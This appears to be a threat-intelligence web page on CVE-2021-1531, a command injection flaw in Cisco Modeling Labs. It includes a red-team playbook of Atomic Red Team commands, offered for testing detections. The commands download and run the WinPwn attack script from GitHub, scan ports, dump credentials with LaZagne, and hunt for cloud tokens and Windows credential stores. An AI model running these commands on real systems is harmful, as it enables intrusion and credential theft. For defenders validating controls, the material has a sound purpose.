CVE-2021-1531
Overview
This vulnerability is a command injection flaw in the web UI component of Cisco Modeling Labs. It arises from insufficient validation of user-supplied input within HTTP requests handled by the web application. The affected component processes input in a manner that allows injection of arbitrary commands executed with the privileges of the web application user on the underlying operating system.
Vulnerability Description
A vulnerability in the web UI of Cisco Modeling Labs could allow an authenticated, remote attacker to execute arbitrary commands with the privileges of the web application on the underlying operating system of an affected Cisco Modeling Labs server. This vulnerability is due to insufficient validation of user-supplied input to the web UI. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected server. A successful exploit could allow the attacker to execute arbitrary commands with the privileges of the web application, virl2, on the underlying operating system of the affected server. To exploit this vulnerability, the attacker must have valid user credentials on the web UI.
Impact
An attacker with valid web UI credentials can execute arbitrary commands on the underlying operating system with the privileges of the 'virl2' user, potentially leading to full system compromise or lateral movement within the network. Exploitation requires network access to the web UI and valid authentication (CVSS vector PR:L/UI:N). Successful exploitation can result in unauthorized data access, service disruption, or further privilege escalation within the affected environment.
Solution
Cisco has released patches addressing this vulnerability in Cisco Modeling Labs versions 2.0.2 and later. Administrators should apply the updates as detailed in Cisco Security Advisory cisco-sa-cml-cmd-inject-N4VYeQXB. The advisory provides specific instructions for upgrading affected versions to mitigate the command injection flaw. No alternative workarounds are documented; applying the official patches is required for remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the web UI of Cisco Modeling Labs stems from insufficient validation of user-supplied input. This flaw allows an authenticated remote attacker to execute arbitrary commands on the underlying operating system with the privileges of the web application, specifically the virl2 component. The core issue lies in the web interface's failure to properly sanitize inputs, which can lead to command injection attacks. When an attacker crafts a malicious HTTP request, they can manipulate the application's behavior, potentially leading to unauthorized access and control over the server's functionalities.
Exploitation of this vulnerability requires that the attacker possesses valid user credentials for the web UI. This prerequisite limits the attack surface to those who have already gained some level of access to the system. However, once inside, the attacker can leverage this vulnerability to execute commands that could compromise the integrity and confidentiality of the server. For instance, an attacker could manipulate network configurations, access sensitive data, or even deploy malware within the environment. The ability to execute arbitrary commands significantly escalates the risk, as it can lead to further exploitation, lateral movement within the network, and even complete system takeover.
The real-world impact of this vulnerability can be substantial, particularly for organizations relying on Cisco Modeling Labs for network simulation and modeling. Given the critical nature of these environments in testing and deploying network configurations, an exploit could disrupt operations, lead to data breaches, and incur significant remediation costs. The business risks associated with such an incident include reputational damage, loss of customer trust, and potential regulatory penalties, especially if sensitive data is compromised. Furthermore, the high CVSS score of 8.8 indicates that this vulnerability poses a serious threat, necessitating immediate attention from affected organizations.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments and penetration testing can help identify potential weaknesses in the web UI and ensure that input validation mechanisms are robust. Additionally, organizations should enforce strict access controls and user authentication measures to limit exposure to authenticated users only. Monitoring network traffic for unusual patterns or unauthorized command executions can also aid in early detection of exploitation attempts. Finally, keeping the Cisco Modeling Labs software up to date with the latest patches and security updates is crucial in mitigating known vulnerabilities and reducing the risk of exploitation.
In conclusion, the vulnerability within the web UI of Cisco Modeling Labs represents a significant security risk that can lead to severe operational and financial consequences. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can better prepare themselves to defend against such threats. Implementing proactive detection and mitigation strategies will not only safeguard their systems but also enhance their overall cybersecurity posture in an increasingly complex threat landscape.
CSURFACE threat intelligence has identified a marked escalation in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-1531, reflecting a significant increase in the likelihood of exploitation. The EPSS score has more than doubled, indicating growing attacker interest or improved exploitability, despite no new public exploit details emerging. This upward trend in EPSS, coupled with a sustained increase over the past week, underscores a heightened risk environment for organizations running Cisco Modeling Labs. The elevated score suggests that threat actors may be prioritizing this vulnerability, potentially leveraging it as part of broader attack campaigns targeting network simulation environments. Consequently, defenders should recognize that the threat level associated with CVE-2021-1531 has intensified, warranting increased vigilance in monitoring and detection efforts, even in the absence of confirmed exploit deployments.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Modeling Labs | 2.0.0 |
cpe:2.3:a:cisco:modeling_labs:2.0.0:*:*:*:*:*:*:*
|
|
|
Cisco | Modeling Labs | 2.0.1 |
cpe:2.3:a:cisco:modeling_labs:2.0.1:*:*:*:*:*:*:*
|
|
|
Cisco | Modeling Labs | 2.1.0 |
cpe:2.3:a:cisco:modeling_labs:2.1.0:*:*:*:*:*:*:*
|
|
|
Cisco | Modeling Labs | 2.1.1 |
cpe:2.3:a:cisco:modeling_labs:2.1.1:*:*:*:*:*:*:*
|
|
|
Cisco | Modeling Labs | 2.1.2 |
cpe:2.3:a:cisco:modeling_labs:2.1.2:*:*:*:*:*:*:*
|
|
|
Cisco | Modeling Labs | 2.1.3 |
cpe:2.3:a:cisco:modeling_labs:2.1.3:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-1531 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cml-cmd-inject-N4VYeQXB |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/163265/Cisco-Modeling-Labs-2.1.1-b19-Remote-Command-Execution.html |